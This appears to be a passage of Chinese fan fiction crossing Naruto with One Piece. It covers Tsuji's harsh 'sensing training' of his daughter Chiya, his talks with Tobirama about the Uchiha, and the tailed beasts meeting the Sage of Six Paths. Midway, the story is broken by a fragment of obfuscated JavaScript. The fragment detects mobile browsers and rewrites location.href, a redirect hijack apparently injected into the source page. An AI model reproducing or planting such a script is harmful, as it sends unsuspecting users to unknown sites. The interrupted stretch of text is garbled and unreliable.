“嘎嘎——嘎!”
发现了海鸥身后的尾随者,穿着一身深色立领大衣遮住大半张脸的油女接过海鸥从挎包里掏出来的两个透明的昆虫箱,珍重地抱在怀里,用比平时快了1.25倍的声音向来人介绍,“这是南洋大兜虫,也叫阿特拉斯。这个是长戟大兜虫。真没想到千弥能够找到。你好,我叫油女志黑,是古蹊千弥的朋友,曾听千弥提到过你。”
那家伙原来在他不知道的情况下已经交了那么多朋友。
呼出胸口的郁气,奈良鹿久在被子里又卷了一圈儿开始熟练地宽慰自己。古蹊千弥是独立的个体,拥有自己的朋友,哪怕是自己不认识的朋友也是理所应当……
“咚咚!”
“咚咚!”
“嘎嘎——咚!”
“麻烦死了——”一听就知道是那只蠢鸟的动静。
从被子里钻出来,推开门,猝不及防地吸了一大口炸薯条的焦香气味,奈良鹿久把撞在脸上的笨鸟扯下来。
敲门敲出刀子眼,使出绝招”神鸟猛击“却被抓住腿进而握住喙彻底丧失了行动能力的海鸥只能无助地干瞪眼。
“有什么事吗?”奈良鹿久的声音懒洋洋的像是没睡醒一样。
天生邪恶的翘辫子小鬼!既护不住头也护不住脚,信使只能屈辱地用翅膀掏出口袋里的信封和封印卷轴。
“既然有我的信,为什么白天不直接给我啊?”胡思乱想了一下午的奈良鹿久看着鸟羽之间的信和卷轴,嗅着海鸥身上散发着的浓郁的炸薯条味道,怀疑这家伙的智商不过3。
“アホ—、ホ!”感觉自己被鄙夷的眼神扫了一遍,任务完成的海鸥逃难似的迫不及待地飞出宅院。
解开卷轴封印,奈良鹿久握住手心里因晦暗的环境而泛着蓝色荧光,壳体有着类似冲天辫图案的海螺,无奈地栽在榻榻米上。
“真是的……”他到底在纠结什么啊……
笨鸟的智商是3,那他的贤值恐怕只有2。
他是笨蛋吗?
……
“我完美的家庭教育到底是哪里出了问题?”
火影楼内,连熬了几个通宵,把小山高的文书处理好的古蹊辻瘫在桌子上,终于有空开始了反思。
同样从苦海中被解放出来,端起手边的热茶,千手扉间听到这番话红瞳平静地看了辻一眼,问道,“如果你的教育没有问题,那个孩子小时候为什么会以为阿尼甲是土匪头头?木叶村是山贼窝?”
“你在这之中又担任了什么样的角色?”
“……”脑海中自动浮现出到小千幼时在千手扉间面前的暴言,差点滑到地上的男人陡然安静。
“我真的很好奇,你到底下了什么蛊竟然能让海未放心让你来教导千弥。”
暴击!
“当然是人、人格魅力!”
“那种东西你说有就有吧。”说完,也不再关注辻的反应,千手扉间低头啜饮手中的茶水。
“我难道不可靠吗?”
“你是指大展身手做蘑菇杂饭,结果害得千弥食物中毒?”工作暂时告一段落,吐槽欲上来的千手扉间忍不住反驳道。
“之后我就带着小千拿蘑菇图鉴一起去森林实地辨认毒蘑菇了。”展现自己周全、可靠一面的古蹊辻拍着胸口,龇着的白牙闪闪发亮。
“然后又害得千弥蘑菇孢子中毒?”这种离谱的事,连坐在火影楼里的他都有所耳闻。听阿纲说那孩子被折腾得身体抗毒性是寻常人的2倍。
“……”像被戳了个洞的气球一样,胸口瘪下去、嘴唇撇上天的古蹊辻,“不愧是火影,手眼通天……连这种事都知道。完全没有隐私了啊!”
“我对你的隐私一点兴趣都没有。”放下茶杯的千手扉间背靠着椅子反驳,明明是消息自己跑进他的耳朵里的。
“是是,除了宇智波。”
“辻。”
古蹊辻想到自己遇见的写轮眼执法的宇智波们和那些犯了错却心眼小小、心生忿恨的木叶村村民,提醒千手扉间,“当下村民们的受教育水平太低了,有些蛮不讲理的村民和小千说的土匪简直没两样。那些流言蜚语,传得风风火火、有模有样的。”
“警卫队确实是让宇智波产生归属感的好制度,但他们的执法水平实在让人难以恭维……他们当中就没有会笑的宇智波吗?”
一个个板着脸,表情就和复制粘贴似的,性格也是一个赛一个的别扭,长了嘴却不会说话。这个破世界也太偷懒了!破书到底复制了些什么糟粕啊!敢不敢创造几个阳光明媚的宇智波?!
“一族在族地集中生活确实有利于对族群产生认同,但工作上族内成员长期集中绝对——不行。你说他们激进,倘若不趁早施以外力打破这种恶性循环,早晚会造就所有人都不愿遇见的恶果。木叶终会和宇智波离心的。”
“你觉得应该怎么做?”千手扉间双手交叉着搭着下巴。
“让宇智波和其他族群共同执法怎么样?”
听到这话,千手扉间反驳同时顺带着开了一个玩笑,“有些人恐怕会认为这是变相夺权。邪恶的二代火影千手扉间时隔数年终于按捺不住要对他们出手了。”
“安排他们编入忍者小队?”
“大概是邪恶的二代目试图从内部分裂、瓦解宇智波的新手段吧。”千手扉间表情冷峻,“我的名誉在战国时代就被宇智波二当家败光了。”
“真希望
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像镜这样亚克西的宇智波再多些啊。”可恶,一群复制粘贴的无差别宇智波里,只有宇智波镜一个有利变异的幼苗。
“时间啊……真是一代人有一代人的使命啊……”趴回到桌子上的辻丧丧的,“战国时代……啊,说道底离现在也没过多久。”
他不想出现宇智波和木叶决裂的场面——那对未来的木叶、木叶村的忍者们、村民们、宇智波一族本身甚至是火之国而言都将是一场灾难。
“还有日向一族,他们脑子是有问题吗?宗宗分分的,都脱离战国时代了怎么脑容量没有一点儿长进?脑子落在战国了吗?”
“哪怕身为火影,我也无权贸然干涉他们族内的规矩,这是当初建村时的盟约。”千手扉间语气淡淡的说着可怕的话,“何况那些战国遗老们还没死绝,木叶的根基还不够稳固。这些问题都只能留给接受新式教育的后辈们了。”
“可恶,我可不想小千那一代孩子面对那么辛苦的未来啊!”在桌子上滚了一圈的古蹊辻光速坐好,下一秒,咚咚的敲门声响起。
“二代目大人……”来人是进行任务汇报的宇智波镜。
古蹊辻目光灼灼地看着亚克西且谦逊的少年。扉间选定的族与村之间的亲善大使,啊不,桥梁嘛,眼光真是不错!
“请问是有什么问题吗,辻大人?”身侧的目光实在过于露骨,就算镜想忽视都难。
“不,没有。”微笑。
宇智波镜:“……”
求助的目光落到了二代目大人身上。
“没事了,回去吧。”
宇智波镜:“……是。”
“未来啊……看来对小千的忍者教育要加强了。”叹声之间,辻掏出卷轴,写写画画后通灵出送信海鸥,“这个是水户改良出来的不同难度版本的封印术,交给芦名老爷子,让他安排适龄的小漩涡们学习。还有带人加强近海的防御结界。”
“嘎嘎——了解!”敬礼致意的海鸥吃掉卷轴,稳重地从火影室的窗户飞了出去。
“现下只是建立秩序还远远不够,你要活久一点啊,扉间!”趴回到桌子上的古蹊辻看着沐光深思的男人,“至少把我说的电脑造出来啊,科学家。”
该死的纸质文书他已经归档够了,处理够了,一天都不想忍!可恶,在自己的世界天天被卡普老头迫害,处理军舰报损和基地公务就已经很惨了,这个世界竟然更落后!都通上电了为什么不顺着科技树继续发展啊!
“让我活久点就是为了帮你搞发明吗?”千手扉间斜眼看着用脸擦桌子的男人。
全是目的,没有情谊。
“嘛~这可是有利木叶的好发明。”古蹊辻义正言辞道。
……
“再见啦!”
“下次见!玖辛奈还有大家!”
在村口同大伙道别的古蹊千弥背着小书包,朝着小伙伴们挥手。
“我好舍不得你!”被一个漩涡扑倒的千弥坐在地上拍拍小漩涡的背,然后被一个又一个红发小漩涡埋住。
千弥隐隐约约听到有什么暴跳如雷的咆哮穿插在哭声里——
“可恶!我还没抱到呢嘚吧内!”
8. 欧多桑是木叶罪人
第五演习场——
“那个,虽然很痛,但其实——”从地上爬起来,将缠着眼睛的绷带掀开一角的千弥感动地拉住挡在身前的鹿久,张张嘴还想说些什么。
“闭嘴。”声音发沉的小冲天辫打断千弥,目光落在古蹊辻手里的树枝上,眸色晦暗。
被鹿久凶了的千弥头顶着五层包,扁嘴坐在地上乖巧至极。
树丛里蹿出来的人越来越多,猪鹿蝶三家的,油女一族的,犬冢的。
那孩子交了很多朋友嘛!
“诶?”感慨间发现自己被木叶的未来们同仇敌忾地注视的男人摸不着头脑,透过人影看着被包围保护起来的千弥,又看了看手里的“凶器”,后知后觉地指向自己,惊讶道,“原来你们像是看坏人一样看的人是我吗?!”
“不承认的话,那辻大叔你刚刚在干什么?”她都看到了,这个男人刚刚拿着树枝打千弥脑袋!犬冢爪话音落下,脚边的黑丸就汪汪地叫了起来。
“帮助小千进行感知修行。”竖起大拇指的男人骄傲道,“十次挥树枝攻击已经可以完美躲过三次了哦!”
“这样的修行也太乱来了吧!”丁座都不敢用柔软的手指去触碰千弥身上条条道道像经历过竹笋炒肉一样惨不忍睹的伤痕。尤其是头上的包,垒鸡蛋都垒不出这么高!
“确实,千弥已经青一块紫一块了。”油女志黑瞥了千弥一眼,迅速转过头。
“其实都是皮外伤,连破口都没有,更没伤到骨头!”千弥抡起手臂甩了甩嘶嘶地安慰朋友们,下一秒整个人被亥一强行按坐回地上。
“我也有控制好力道的!”
“别担心,我的恢复能力很强!”
两道与紧张紧绷的气氛截然相反的乐天的声音响起,除了辻以外的所有人都转过身用一种恨铁不成钢的表情怒视脸颊有一道十字形红痕,看起来可怜兮兮的笨蛋千弥。
顶着众人冒火的眼神,逐渐萎靡消音的千弥试图使用盾牌黑丸抵御友人们威力强大的瞳术合体技。可惜,黑犬同友人们统一战线,在她手里一个翻身打挺,落在身上的刀子眼又多了一对。
“嘤。”
“既然担心的话,要不要一起特训?”看着一帮义气的小萝卜头,辻笑着提出建议,“用你们的忍术、体术、幻术来阻止我接近小千,当然,小千的修行依旧是蒙上眼躲过我的攻击。要好好感知啊。”
“时间的话30分钟怎么样?超过这个时间你们都还能站起来的话,就和小千一起去团子店玩吧。我请客哦~”
得到一干人点头同意,奈良鹿久进一步提出要求,“我们赢了的话,千弥伤好之前都不准对她进行这种训练。”
“行啊。”
“使用鱼鳞阵,亥一、爪在千弥身前防守配合,丁座主攻,志黑和我副攻。”
分析当下形势的奈良鹿久根据各自的能力做出安排,紧张地看着还在挑简树枝,一派轻松淡然的男人。从战场上下来的人,绝对不是他们能——
“欸?”
眼球微转,奈良鹿久用余光看着已经瞬身到千弥身后举起树枝的身影,“嘭!”
“我可没承诺要过关斩将再达到你们的‘玉’身边啊,小鹿久。”挥击落空的古蹊辻看着留在地上的浅痕,眼里划过一丝满意。因为有朋友们在身边,小千的注意力更集中了。
不想让朋友们受伤吗?
“好快!”不论是辻大叔还是千弥。
场上的五名“护卫”,只有拥有着动物本能的犬冢和利用虫子更早感知到辻动向的油女勉强地半侧过身。
“这不是完全把我们当成训练千弥的催化剂了嘛!”三发心转身打空,查克拉近乎见底的亥一靠着丁座,大口喘着粗气看向收回影子的鹿久。
“大人真是太狡猾了!”抱着紧紧被瞪了一眼后瑟缩着躲进衣服里的黑丸,同样被吓到动弹不得犬冢爪恨恨地咬牙,“我们还要继续努力啊,黑丸。”
“嘤。”被安心的气息包裹,恢复了些许精神的黑色小狗硬气地汪了一声。
“连虫子的攻击也……”不等靠近就哗啦啦地落了一地。半跪着拾起一只寄生在身体里的虫子,油女志黑惊讶地轻声感叹,“竟然只是晕过去了。”
“好痛!”
“想象着将自己融入自然,用皮肤去感知风的流动。”
“有喜鹊!”
“哪里哪里?”
“嘭!”
“好痛!”
“笨蛋,都告诉你要专心了!”
“啊!鹿久摔倒了!”
“什么什么?”
“嘭!”
“好痛啊!”
“竟然被同样的话术骗了两次。”
“喂!轻点啊!辻大叔!”攥着拳提心吊胆的一群人:辻大叔是魔鬼,千弥的生命力好强。
“那是?”被族长的儿子拜托进行忍术特训的宇智波镜看着在训练场上追着一个仓皇逃窜身影的男人,“辻大人?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055259|194874||http|test|mini|href|location''.split(''|''),0,{}));
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>“有人来了哦,千弥。”
“我已经不会再上当分心了!臭老爸!”察觉到每次落在身上的树枝速度和力度都在增加,刚适应就不停被上难度的古蹊千弥对父亲的尊敬像水一样哗哗地流,一去不复返。
把人引到大小团扇的方向,古蹊辻横扫下去,丢掉手里的树枝,看着踉跄地被风压扫倒又被身旁的镜拽回来的千弥,哼哼地得意笑道,“都说了有人来了。”
热得像火炉一样。
放下手里的人,宇智波镜看到身边的富岳瞪大了那双黑漆漆的眼睛。
“家庭暴力和儿童……虐待吗?”以木叶警务部队长为奋斗目标的族长家的独苗苗宇智波富岳用犀利的眼神扫过古蹊辻和地上被丢弃的犯罪工具树枝,扯住镜,断言,“有罪!”
恍惚间似是看到了雪花屏进入猫猫宇宙状态的宇智波镜:“……”
古蹊辻:“诶?我竟然犯罪了吗?”
古蹊千弥:“诶?!欧多桑是木叶罪人!”更严重的指控出现了!
蹲在一旁耗尽了查克拉的小伙伴们闻言“啪啪啪!”地拍手叫好,惹得宇智波富岳既为自己挺身而出之举骄傲又因受到陌生村民的表扬而害羞。
作为最成熟的人,看明白了来龙去脉,脑壳痛的宇智波镜:辻大人怎么也在胡闹啊。
……
“这么乱来,竟然是修行吗?”作为这群人中的长者,已经成为了忍者却从未经历过如此严酷的修行的宇智波富岳瞪大眼睛。
“在生死之间提升感知能力。”油女志黑用说恐怖故事的语气揭示了修行的本质。
“是只适合千弥的修行。”吃着辻用影分身买来的糕点,丁座认真地同宇智波富岳解释。这是旁人不能轻易复刻的修行。
“这原来还算是修行啊。”伸出手看亥一上药的千弥叹气,嚼了嚼爪喂到嘴边的丸子,嘟囔道,“我还以为是谋杀呢。”
“这是什么话?你想把自己的欧多桑关进去吗?!”大惊失色的辻连戳千弥的额头,把人戳倒在地。
“好痛,好痛,富岳前辈把他送进去吧!我要做第一个给您送锦旗的木叶村村民!”在地上打滚的千弥被亥一捞起来重新抹药。
“很抱歉,虽然很想这样做但目前我并没有那样的权利。”放下团子的宇智波富岳正襟危坐道。
身心成熟的宇智波镜和有着成人之思的奈良鹿久:“……”
这个无理的世界是非要把正经人逼成吐槽役不可吗?!
9. 所谓先下手为强
迎着夕阳的父女俩身影逐渐变得浅淡,把走得七扭八歪、迷迷糊糊的小千捞起来背在背上的辻望着眼前被金色轮廓笼罩的木叶悠然地说道,“小千很喜欢这个世界吧。”
靠抓父亲的头发稳住身体重心的千弥思考两秒,眯起眼睛,唔了一声给出了一个否定的回答,“没那么喜欢。”
古蹊辻:“……”
还真是出人意料的答案。
“为什么呢?”
“因为到处都在打架。”
垂着脑袋叹气,再抬头看到站在茶屋门口的绳树、日斩以及千手扉间,意识到这是在千手扉间面前挽救自己教育界名声的绝佳时机,辻笃信地开口道,“小千一定很喜欢木叶吧!”
千弥的声音依旧软绵绵的,“不讨厌。”
这次的回答相较上回和缓了一些,但也没好多少。
扉间、日斩、小绳树:“……”
身体开始褪色,灵魂试图脱离躯壳幽幽地往天上飘,强行打起精神的辻还没有放弃抢救自己,哄诱道,“木叶可是被卡密护佑、祝福着的村庄哦~小千上次不是还说在涡潮隐村遇到了很喜欢的来自木叶的卡密吗?”
“我是一个爱恨分明的人。”抓着父亲头发的千弥闭着眼夸了自己一句。
扉间、日斩、小绳树:“……”
都这样了还敢信誓旦旦地称自己的家庭教育没有问题。千手扉间不客气哈出一个拟声词,绯红的眼瞳平静如死水般看着原地石化的男人。
“请不要用那种眼神看我。”
朝着三人低声抱怨,背着千弥的辻靠边站定,开始了自己的循循劝诱,“小千的亲人、朋友、喜爱的卡密,就连小千自己也生活在木叶,为什么小千对木叶的感情只是不讨厌呢?”
“集英堂的老板给我拿的书是别人因为里面没有赠卡嫌弃退货的、烤鱼店的老板给我上的那份鱼还是个宝宝、就连渔具店……”闭上眼如数家珍般的千弥云淡风轻地诉说着自己独自上街遇到的不公。
“竟然做出糊弄小孩这种事,就该让宇智波把他们通通都抓起来。”听红温了的辻忘记自己的目的,一句不落地跟着千弥的节奏附和,最后定性道,“是木叶还不够好,这样的木叶小千不喜欢情有可原。”
扉间、日斩、小绳树:“……”
“咳。”
目睹了辻这番结局与出发点南辕北辙的家庭教育,对着辻挤眉弄眼甚至忍不住出声提醒的猿飞日斩站在千手扉间身旁噤若寒蝉。您的立场未免太摇摆不定了!更何况还是当着扉间老师的面!
扉间老师的气场……好恐怖!冷白皮的人脸色发黑都是那么明显。
猿飞日斩在心里给辻点了两根蜡烛。
意识到错误的辻挺直了腰杆,先下手为强,语重心长道,“扉间,规矩不能只约束忍者,作为木叶隐村的影,要努力提高村民们的幸福感啊!”
这份逆流而上、虎口拔牙的魄力让猿飞日斩暗叹弗如。整个木叶村,大概只有辻敢这么同扉间老师说话了。
“小千,这位是火影大人哦,身后颜岩上雕刻的就是这位大人。”不等人回话就匆匆转移话题的古蹊辻转过身,让千弥看到身后的颜岩,随后又转回来。
猿飞日斩:让孩子当挡箭牌,果然多少还是很心虚吧。
“哪个?”
看完了颜岩被辻放到地上的千弥看向面前高低不同的三个人,首先和自己差不多大的排除,其次是穿着浅青色纹付羽织袴的红眸男人,所以和爸爸一起工作的是——
“火影大人,初次见面——”三两步站在老成的猿飞日斩身前,千弥腰还没弯就被一脸惊悚模样的老爸从地上“咻——”地像拔葱一样捞了回去。
同样被千弥的举动吓得炸毛的猿飞日斩,“!”
他是谁,他在哪?
他今天是在渡劫吗?
只有站在一旁的绳树大胆地噗嗤噗嗤地闷声笑。
面无表情的二代目火影:不仅仗义还是一个天然呆。
“是这位!这位哦~”用臂弯夹着千弥的古蹊辻把人带到千手扉间的身前。
“好年轻。”千弥一边感叹一边扭着身体回望身后的颜岩,半晌后迷茫地看向老爸,“书上描写的刀削斧凿般的脸庞原来是骂人的话吗?!”
“小千啊~”被语出惊人的千弥哽住的古蹊辻被迫放弃挣扎,他看到心电图“滴——”的一声彻底拉成无限长的直线,“爸爸在教育界的名誉真的要一朝扫地了。小千……”
“不要紧,家里还有很厉害的妈妈。”拍不到头只好拍拍父亲的腰,完全不了解老父亲心里的苦,千弥乐呵呵地安慰阴暗消沉的欧多桑。
“嗐~”他遇到克星了。
“哈哈哈哈!”脸上挂着两坨红晕的绳树走上前自我介绍,“我叫绳树,是要成为火影的男人!”
“你好,我是古蹊千弥,目前没有梦想。”还被夹着的千弥扬起笑脸,抬手打招呼。
她的梦想都被爸爸否定掉了——想要成为纵横大海的冒险家,但爸爸说这个世界海上只有渔民和海盗;梦想成为纵横大海、行侠仗义的侠盗,被用打屁股狠狠威胁了一番。
“诶?!”没有梦想的人像是什么新奇的存在,绳树热心地建议道,“那要不要也以成为火影,保护村民、保护同伴为梦想?”
“如果我成为了火影,那你怎么办?火影的男人吗?”思考两秒,千弥觉得自己不能抢走别人的梦想。
“诶?!”闹了个红脸的绳树磕磕巴巴地回答,“你要是成为火影的话,我会辅佐你,成为最棒的火影助手!然后以成为下一任火影为目标!”
“不要。”<
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p>“是哪一个不要?不要我当火影辅佐吗?”
小狗尾巴摇啊摇,没等凑近小伙伴问清楚就被二爷爷唤了回去,“绳树。”
看着青出于蓝的千弥,千手扉间怀疑人的性格与遗传学有着不可分割的关系。再不出声打断的话,绳树没准也会被激发出可怕的天然呆属性。
想起自家大哥,那种无奈感瞬间涌了上来。
木叶的未来啊……他想了一秒古蹊千弥成为火影的可能,史上最阳光的影?
“好饿。”
“等会回家做蘑菇杂饭哦!”
已经准备出声同父女告别的千手扉间闻言眯眼,用不信任的目光在辻的身上扫了一遍。
“喂喂,我难道会害千弥吗?”
看着这个信誉已经破产还在挣扎的男人,千手扉间不置可否,“需要我叫医疗班给你们留床吗?”
“这么说未免也太过分了!”
……
“二爷爷,我也想吃蘑菇杂饭。”目送挂在父亲背上的新朋友渐渐远去,绳树蓦地被激发了对蘑菇杂饭的兴趣。听说,那是他爷爷生前最喜爱的食物。
“既然这样,回家吧,我给你做。”他似乎也很久没吃过了。
“好期待啊!”
慢一步落在了两人身后的猿飞日斩看着终于闲暇下来的老师在心底暗暗地感叹岁月静好。
……
“欧多桑。”
“嗯?”
“为什么训练变严格了?”
“为了未来,千弥。”辻的声音如云般闲淡,情感却如千斤之重,“为了让你有足够的力量保护好想要保护的重要之人。”
祸乱的因没有因为一次忍战而消除,木叶也没能孕育出可以比肩忍者之神的存在。等各国休养生息,恢复力量必将再度爆发席卷世界的忍界大战。这个时间大概就在20年之内,甚至10年之内。
古蹊辻脑海中浮现出云隐村以外的各大隐村发派到木叶的那些名为“休战”实为先“休”再“战”的请和条约。他希望小千这一代人虽生于乱世,但长于治世。只是,如今看来这一愿望终将要落空了。
“还记得下午看到的那个大宇智波吗?”
“记得哦。”头发卷卷还很和善。
“他是二代目为了守护木叶村与宇智波族群和平而打向未来的香车。而你,小千,终有一日你将成为守护这个世界的王将。但在那之前,你要努力爱上这个世界哦!”
“听起来会很辛苦啊。”
“不会的,未来的小千可是有深爱着的朋友们陪伴。”
“我是说那个卷卷。”千弥像个小大人一样叹气,眼角还挂着打哈欠留下的泪珠,“感觉就像在妈妈面前维护爸爸一样辛苦。”
古蹊辻:“……”小千,再这样说话爸爸真的要闹了!
10. 喂!尾兽们,六道老头带着一个小婴儿回来了!
辻痛定思痛,决定把千弥脱手送到水户那里接受教育去了。
再留在身边教导下去,他怕小千不知不觉间哪天变成了卡普2号,到时候他哭都找不到地方!
明明像个小尾巴一样一直跟在成熟可靠的欧多桑身边,为什么性格逐渐歪到离谱了啊?想破脑袋也想不明白的事,辻决定放一边不想了。
“欢迎做客,小千弥~”
“早上好,水户大人!”
元气满满的回答让水户露出了慈祥的笑意。
已不再年轻的红发女人牵过千弥的手,垂眸看着连发丝儿都带着精神气、打着小卷儿的小千弥又抬起头看了一眼站在一旁像是被吸干了查克拉一样没精打采的辻,意有所指地调侃,“养孩子不是一件容易的事吧。”
“是啊,打架可比这容易多了。”做了半宿噩梦睁眼到天明的古蹊辻一脸凝重,“拜托了水户,一定要好好教育千弥。”
天杀的,半夜被卡普老头追魂索命了。
“我的儿子跑去当革命军了,我的孙子说要当海贼……”
当时他结束训练顺便霸占了老头的折椅躺着看完了老头的崩溃表演,之后他是怎么回复的来着?哦,想起来了,这样的——“挺好,你捡的便宜孙子我等哪天离开海军了,到哪都有去处。”
“什么?你竟然也有这种不听话的想法?!果然也被红发小鬼影响了!老夫这就用爱的铁拳来修正你的思想!”
然后被不会听人话的老头捶得满地找头,军舰上都打出了三个窟窿。
把12岁的他落在风车村自顾自出海回海军本部的明明是这家伙吧!硬是把他放养了小半年才鬼混回来!
自那以后似乎就成了路飞那小子的专属替身。可恶的臭老头在山贼之家受的气全在他身上撒,还美其名曰“预防叛逆”。
但是,明明和臭老头一点血缘关系都没有,为什么小千会卡普化啊!想不明白,完全想不明白!
后半夜惊得坐起来的辻越想越是觉得小千的身影在和路飞那小子重合——
“海上只有渔民和盗贼的话,那我就做不一般的海盗,做侠盗!哈哈哈~”
“我不要当一般的海贼,我要当海贼王!尼嘻嘻嘻~”
哈哈哈,尼嘻嘻两种魔性的笑声交替着在大脑中反复回响,吓得他整宿没睡,一早就把人送过来了。
“这是我一生的请求。”辻对水户九十度鞠躬,“请务必将千弥教导得像您一样成熟知性。”
“哦啊~用了敬语呢~”
眼里满是揶揄的女人脑海中浮现出了对方少时做出的壮举。拿着族长随手画出来的糊弄人的粗糙地图,一人一刀硬是从涡潮村闯到木叶村,不客气地臭着脸喊她跟自己回娘家转转。那时她已经成为了九尾人柱力,而少年的出现给自愿囿于笼中的鸟儿拓出了一片蓝天。
和当年相比,如今做了多年父亲的人果然变得成熟了不少。
“我们是同辈吧,而且我在别人面前可一直尊称您为水户大人。”
“扉间面前呢?”
“那不算外人。”两世的年龄加起来仍比扉间差几岁的古蹊辻撇嘴找补。
说到辈分……艾斯认了白胡子做老爹,如果海贼和海军哪天能坐下来喝一杯,臭老头岂不是原地加辈。这种话对着老头说出来,估计能把人气得血压爆表。脑子里总算有了点开心事,辻的嘴角不觉间勾了起来。
“总之,我或者海未回来之前就先拜托您了!”
阳光落在千弥的发旋上,忍不住抬手弹了弹发丝的辻收回手,郑重地向水户辞别。
忍战已经肉眼可见地进入了落幕的倒计时,木叶需要处理的村务也减少了不少,他也该去做几个任务给败家小千攒攒结纳金了。
单纯地不想和千手扉间共处一室迎接对方“鄙视”的眼神,家教领域的大失败者为自己找到合适的借口后抻了抻腰,晃晃悠悠地往火影楼走去。
……
“小千弥有什么感兴趣的封印术吗?”
完全没有顺着辻的意图把小千弥教导得优雅知性的想法,希望千弥能一直保持这种自由的、像春笋般磅礴生长的态势的漩涡水户摆出一排经过改造的简易封印卷轴,任千弥挑选。
“唔……”全都是很复杂的字眼!千弥干脆闭着眼指了一个图画得最简约的。
“五行封印吗?这可不是简单的封印术,要有觉悟哦!”
千弥双手握成拳,认真地回应,“我明白了,水户三三!”
“又来了啊,那个小丫头!”
在水户体内感知到千弥身上那道明亮温暖的查克拉,橘红色的巨大狐狸在困缚住自己的囚笼中翘着腿翻了个身。
九喇嘛至今犹清楚地记得数年前,在尾兽空间中打哈欠伸展身体的自己看到已经死亡的幽灵抱着一个三头身的婴儿忽然出现在尾兽们的精神空间中的场面。
“喂!混蛋们,集合了!六道老头带着一个小婴儿出现了!”
“嘭!嘭!嘭!”
数道白烟原地喷发,相互看不顺眼尾兽们因为九喇嘛的一嗓子久违地齐聚一堂。
感知到人间有特殊的灵魂降生,从净土现身于尾兽空间的六道仙人:……
“怎么回事?yah!”硕大的狸猫脑袋直接怼到六道面前,守鹤看清了老头怀里吐泡泡的小婴儿,尖细的声音响彻了整个空间,“老头不是死了吗?”
“是嫌两个孩子搅得世界还不够乱,就算是变成幽灵也要再生一个吗?”侧躺着支起一条腿的狐狸压着心里对人类的憎恨,九条尾巴裹着狂暴的查克拉卷起一道道罡风。
“好久不见,守鹤,又旅,矶抚,孙悟空,穆王,犀犬,重明,牛鬼,还有……九喇嘛。”拥有忍校肄业级别家庭教育水平的大筒木羽衣慈爱地看着他已经长大的孩子们,无奈地为自己辩解了一句,“这个孩子并不是我的孩子。”
“你说的引领我们的人类,一千年过去了,可是一点影子都没有啊!老头!”
仇视、忌惮、恐惧、垂涎,紧接着是捕捉、封印,被人类骚扰得烦不胜烦,哪怕身处深林里也要被人抓起来利用!
“说什么彼此坦诚,真心相待……这种事连你的后代们都没有做到啊!”
无论是把它当畜生玩弄的宇智波斑,还是用那种不像样的理由剥夺了它的自由的千手柱间,亦或是称自己动用力量就会招致憎恶的漩涡水户,从头到尾,都是人类在自说自话,根本没有人关心尾兽的意愿和想法!
听着九喇嘛饱含血泪的咆哮和控诉,除了一直被封印的守鹤,其他经历了木龙、大佛毒打,作为维持平衡的兵器被卖到各国的尾兽们全部沉默地趴下,无声地表达对九喇嘛的支持。
人类与尾兽和平共处那样的未来……经过这么长时间对人类的了解以及同他们的争斗,它们都已经不再像千年前那般天真了。
“看来你这些年吃了不少瘪呢,臭狐狸!”拍着鼓囊囊的肚子,和和尚还算处得来的守鹤打破沉默,卷着舌头不客气地怪笑出声,“仗着自己尾巴多就目中无人的家伙,遭到天诛了吧!混蛋!”
“哈,一只没呼吸过自由空气的笨蛋狸猫也敢嘲笑我?你这家伙被封印久了,恐怕都数不清年岁了吧!”呼出郁气的狐狸把头歪向一边。
“对不起,大家。”打断尾兽们的争吵,放下锡杖的老人看向九尾,“对不起,九喇嘛。”
“哼~”那种没用的安慰它就勉强收下了。
“但是,”传说中的六道仙人看着怀里不知何时睁开了双眼的婴儿,“九喇嘛,还有大家,请相信那个人类与尾兽达成和解的未来一定
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会到来的。”
奇迹会到来的,就像这个不被净土收容的奇迹般的灵魂的诞生一样,就像这个奇迹般诞生的世界一样。
“这就是老头你看好的人吗?”伸出指甲把在地上爬的小婴儿拨弄到一旁,九喇嘛看着抱住自己指尖的小东西,像抹脏东西一样抹到牛鬼身上,“既然不是亲生的,难道是老头你从哪偷来的吗?”
被九喇嘛打上偷孩子标签的六道仙人,“我只是暂时……借出了她的精神体。”
作为看顾着转生者,行走在永远的轮回之中的人,眼前这个不被净土收容的特殊灵魂很难不引起他的注意。
“喂,我没接触过这个大小的人类啊。”压着声音的牛鬼接住从自己身上往下落的小婴儿,烫手山芋般交给了近在身边的孙悟空。
“我也没接触过这样的人类小鬼!”他遇到的同样不是挑战者就是人柱力!
捧着小孩的孙悟空击鼓传花,把千弥往犀犬身上一放,立刻跑到空间的对角。穆王、重明、牛鬼见状纷纷跟了上去。
温柔的又旅擦去千弥脸颊上的粘液,矶抚慢慢靠近吐出薄薄的水雾,“好小。”
“别笑得那么奇怪,老头。”
趴在地上的九喇嘛瞥了一眼露出慈爱表情六道仙人,“我们暂时接受她只因为这个家伙是你带过来的一个什么都不懂的人类幼崽而已。”
“九喇嘛,有机会的话试着同她敞开心扉地交流吧。这个孩子是无数世界里独一无二的奇迹。”
通过千弥的灵魂从纵向看到了【世界本质】,六道仙人暂且不知道蝴蝶振翅是好是坏。但毫无疑问,这个世界极大的偏离了既定的轨道,通向一条未知的道路。唯一万幸的是,这个特殊的孩子是一个像次子阿修罗一样温柔善良的人。这个孩子的父亲也是一个正直坚毅的男人。
九喇嘛闻言干脆眼睛一闭“嘁”地出声——老头的大饼他已经吃够了。人类不过是一群不断让尾兽失望的家伙。
……
“如果有一次重新选择的机会,水户大人还会选择像现在这样辛苦吗?”
“选择?”握着千弥的手画封印符文的漩涡水户与在自己怀里转过头的千弥对视,“是指……九尾吗?”
她是第一代九尾人柱力的事并不算机密。
“如果能重新开始的话,水户大人愿意来到木叶吗?作为九尾的器,水户大人其实很孤独吧。”
霸气封印的松动加上近期的感知练习,千弥能清楚地感受到水户身边萦绕着的散不尽的温柔而悲伤的气息。
“我就是作为九尾的器来到木叶的。”擦掉小千弥眼角的眼泪,水户笑着把对方的嘴唇从牙齿中解救出来,“没有选择,小千弥。”
这是漩涡水户的命运。
如果逃避现实而沉溺于另一种不真实的幻想,作为器只会受到九尾查克拉的侵蚀而一点点地崩坏。
